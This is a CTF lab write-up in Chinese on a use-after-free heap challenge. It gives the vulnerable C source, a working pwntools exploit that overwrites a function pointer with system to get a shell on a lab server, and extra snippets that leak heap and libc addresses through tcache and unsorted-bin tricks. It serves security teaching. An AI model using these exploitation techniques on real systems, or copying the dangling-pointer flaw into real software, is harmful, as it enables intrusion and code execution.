Simple PWN 0x38(Lab - UAF)

Simple PWN 0x38(Lab - UAF)

Background

圖片

Source code

:::spoiler

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

void default_handle(char *event)
{
	printf("EVENT: get event named \"%s\"!\n", event);
}

struct entity
{
	char *name;
	char *event;
	void (*event_handle)(char *);
};

struct entity *entities[0x10];

int read_int()
{
	char buf[0x20];
	read(0, buf, 0x1f);
	return atoi(buf);
}

int get_idx()
{
	int idx = read_int();
	if (idx >= 0x10 || idx < 0)
		exit(0);
	return idx;
}

void memu()
{
	puts("1. register entity");
	puts("2. delete entity");
	puts("3. set name");
	puts("4. trigger event");
	printf("choice: ");
}

void register_entity()
{
	int idx;
	printf("Index: ");
	idx = get_idx();
	entities[idx] = malloc(sizeof(struct entity));
	entities[idx]->event_handle = default_handle;
	entities[idx]->event = "Default Event";
}

void delete_entity()
{
	int idx;
	printf("Index: ");
	idx = get_idx();
	if (entities[idx])
	{
		free(entities[idx]->name);
		free(entities[idx]);
	}
	else
		puts("Invalid index");
}

void set_name()
{
	int idx;
	int len;
	printf("Index: ");
	idx = get_idx();
	if (entities[idx])
	{
		printf("Nmae Length: ");
		len = read_int();
		if (len == 0)
			exit(0);
		entities[idx]->name = malloc(len);
		printf("Name: ");
		read(0, entities[idx]->name, len - 1);
	}
	else
		puts("Invalid index");
}

void trigger_event()
{
	int idx;
	printf("Index: ");
	idx = get_idx();
	if (entities[idx])
	{
		printf("Name: %s\n", entities[idx]->name);
		entities[idx]->event_handle(entities[idx]->event);
	}
}

int main(void)
{
	setvbuf(stdin, 0, 2, 0);
	setvbuf(stdout, 0, 2, 0);
	printf("gift1: %p\n", &system);
	void *ptr = malloc(0x10);
	printf("gift2: %p\n", ptr);
	for (;;)
	{
		memu();
		int choice = read_int();
		switch (choice)
		{
		case 1:
			register_entity();
			break;
		case 2:
			delete_entity();
			break;
		case 3:
			set_name();
			break;
		case 4:
			trigger_event();
		default:
			puts("Invalid command");
		}
	}
	return 0;
}

:::

Recon

這是個經典的表單題,總共有四種command(註冊entity / 刪除entity / 設定entity name / 觸發entitiy function pointer),這種題目因為格局比較大,所以我都會先看哪裡有malloc或是free,首先

  • ==註冊entity==→malloc
  • ==設定entity name==→malloc
  • ==刪除entity==→free

然後觀察一下題目一開始會給我們system的address,和一開始的heap address,並且最後可以觸發entity的function pointer,所以目標很清楚 ==設法把function pointer的地址改成system,並且event的部分改成儲存/sh\x00的地址== 最後只要trigger就會自動開一個shell給我們


根據background,我們要利用的漏洞就是最後一個,也就是利用相同的大小,把已經free掉的部分拿回來加已利用

  1. 先註冊兩個entity(0和1),第0個是要利用的部分 圖片
  2. /sh\x00寫上entity 圖片
  3. 刪除entity 0 圖片
  4. 設定system的function pointer 這要特別說明,前面三個步驟都算是正常的步驟,而如果我們設定entity的name,此時系統會malloc一塊空間寫我們輸入的entity name,以這一題來說就會是entity 0(只要大小設定的一樣就好),因此我們可以寫入包含system address和/sh\x00的位置,最後再以entity 0的身分trigger該function pointer就可以拿到shell了 圖片
    1
    2
    3
    4
     gef➤  x/gx 0x00007f706a449d70
     0x7f706a449d70 <__libc_system>: 0x74ff8548fa1e0ff3
     gef➤  x/s 0x560bb1125300
     0x560bb1125300: "sh"
    
  5. 最後我們再利用entity 0的名義,trigger function pointer,就拿到shell了

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *

# r = process('./chal')
r = remote('10.113.184.121', 10057)
context.arch = 'amd64'

def register(idx):
    r.recvuntil(b'choice: ')
    r.send(b'1')
    r.recvuntil(b'Index: ')
    r.send(str(idx).encode())

def delete(idx):
    r.recvuntil(b'choice: ')
    r.send(b'2')
    r.recvuntil(b'Index: ')
    r.send(str(idx).encode())

def set_name(idx, len, name):
    r.recvuntil(b'choice: ')
    r.send(b'3')
    r.recvuntil(b'Index: ')
    r.send(str(idx).encode())
    r.recvuntil(b'Length: ')
    r.send(str(len).encode())
    r.recvuntil(b'Name: ')
    r.send(name)

def trigger_event(idx):
    r.recvuntil(b'choice: ')
    r.send(b'4')
    r.recvuntil(b'Index: ')
    r.send(str(idx).encode())

# Fetch Info
r.recvuntil(b'gift1: ')
system_addr = int(r.recvline()[:-1], 16)
r.recvuntil(b'gift2: ')
heap_addr_leak = int(r.recvline()[:-1], 16)

log.info(f'System Address = {hex(system_addr)}')
log.info(f'Heap Address = {hex(heap_addr_leak)}')

# Exploit Payload
sh_addr = heap_addr_leak + 0x60
register(0)
register(1)
set_name(1, 0x10, b'sh\x00')
delete(0)
set_name(1, 0x18, p64(0) + p64(sh_addr) + p64(system_addr))

trigger_event(0)

r.interactive()
1
2
3
4
5
6
7
8
$ python exp.py
[+] Opening connection to 10.113.184.121 on port 10057: Done
[*] System Address = 0x7ff8cd719290
[*] Heap Address = 0x564243d7c2a0
[*] Switching to interactive mode
Name: (null)
$ cat /home/chal/flag.txt
flag{https://www.youtube.com/watch?v=CUSUhXqThjY}

同場加映

如何用UAF leak heap address?

主要的大方向是設法讓free的chunk進入tcache,這樣的話他就會儲存chunk address的info,我們再利用他沒有設為null的UAF漏洞,把他讀出來

1
2
3
4
5
6
7
8
9
10
11
12
13
14
register(0)
register(1)
register(2)

delete(0)
delete(1)

set_name(2, 0x18, b'a')
trigger_event(2)
r.recvuntil(b'Name: ')
leak_heap = u64(r.recv(6).ljust(0x8, b'\x00'))
heap_base = leak_heap - 0x261
log.success(f'Leak heap address = {hex(leak_heap)}')
log.success(f'Heap base address = {hex(heap_base)}')
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ python exp.py
[+] Starting local process './chal': pid 5092

[+] Leak heap address = 0x564bd16ca261
[+] Heap base address = 0x564bd16ca000
[*] Switching to interactive mode

EVENT: get event named "Default Event"!
Invalid command
1. register entity
2. delete entity
3. set name
4. trigger event
choice: $
  • 這一連串的command意思是他先註冊三個entity 圖片
  • Delete 前兩個entiti的時候,第一個8 bytes是next free chunk address,第二個8 bytes是key,此時我們就可以想辦法把這個heap address leak出來,從這邊可以看得出來 圖片
  • 設定entity 2的name,要加這一段的原因是它會malloc一個0x20的chunk,此時他會從tcache中找,也就是直接找到==0x55e5a806b2e0==,而他在free的時候並沒有把chunk的內容洗掉,所以裡面還是會有chunk address,所以從下面的結果來看,entity 2的name已經指向==0x000055e5a806b2e0==,而這個地址的東西沒有洗掉,所以我們可以用trigger event的printf,leak出其中的內容 圖片
  • 此時我們就可以把接收到的address,和vmmap中得到的heap base address扣掉拿到offset之後做後續的利用 圖片 圖片 圖片

如何用UAF leak libc address?

主要的大方向是設法讓chunk進入unsorted bin中,這樣他就會儲存有關libc的資訊,之後我們再像前面的UAF方法一樣,把值leak出來

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

## Leak libc address
for i in range(0x9):
    register(i)
    set_name(i, 0x88, b'a')

for i in range(0x9):
    delete(i)
    
for i in range(0x8):
    register(i)
    set_name(i, 0x88, b'a')

trigger_event(7)
r.recvuntil(b'Name: ')
leak_libc = u64(r.recv(6).ljust(0x8, b'\x00'))
libc_base = leak_libc - 0x1ecc61
system_addr = libc_base + 0x52290
log.success(f'Leak libc address = {hex(leak_libc)}')
log.success(f'Libc base address = {hex(libc_base)}')
log.success(f'System address = {hex(system_addr)}')
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ python exp.py
[+] Starting local process './chal': pid 5414

[+] Leak libc address = 0x7fd98248dc61
[+] Libc base address = 0x7fd9822a1000
[+] System address = 0x7fd9822f3290
[*] Switching to interactive mode

EVENT: get event named "Default Event"!
Invalid command
1. register entity
2. delete entity
3. set name
4. trigger event
choice: $
  1. 首先要先構造chunks,為了要把tcache塞滿,我們要register 9個chunk,要9個的原因是之後free掉的時候最後一個會被top chunk consolidate,所以被丟到tcache的數量就不滿8個;另外為了要進到unsorted bin中,我們的大小就不能小於0x80,這樣會被丟到fastbin中,所以chunk的順序應該會是entity 0(0x20→0x90)→entity 1(0x20→0x90)…→entity 8(0x20→0x90)→top 圖片

    圖片

  2. 接著就是把東西全部free掉,試圖塞滿tcache,可以從下圖看到他的確把最後一個chunk(0x90)併到top chunk, 圖片

    從這張圖就很清楚了,entity 0~entity 6(0x20→0x5588cd8236e0 / 0x90→0x5588cd823700),都已經放到tcache了,那entity 7呢,他剛好因為前後都要被free,所以整個entity 7就被consolidate成0xb0的大小,而且又因為大小不符合fastbin所以被分配到unsorted bin中;而沒什麼重要的entity 8呢?首先就如前面說的,entity 8的0x90被top chunk合併了,而0x20因為tcache滿了,所以放到fastbin了 圖片

  3. 觀察一下最重要的unsorted bin放了啥,首先本質上,他的fd還是指向unsorted bin的位址,只是該位址同時也是libc中的位址,那如果我們把這個值print出來是否就可以觀察offset的關係 圖片
  4. 現在我們要想辦法拿到unsorted bin的這個chunk,所以當然要先拿完tcache的所有東西,接著再拿一次register和set_name的時候他就會分別到fastbin拿0x20的chunk和到unsorted bin中拿0x90 最後的結果會像這樣,可以看到entitiy的前7個都是從tcache中拿取,可以和上面的結果對照,接著也和我們預想的一樣,0x20是從fastbin拿取,而進到0x20的chunk會發現他的name指向的位址,就是unsorted bin拿到的0x90 chunk,而再進到0x90 chunk也的確像我們所說,因為他沒有清掉裡面的內容所以還有殘留libc上的info 圖片

    實際追到要print的時候,會發現如同前面所說,他會print出這個libc address info,接著我們就可以事先算好libc offset和system offset,再做後續的利用 圖片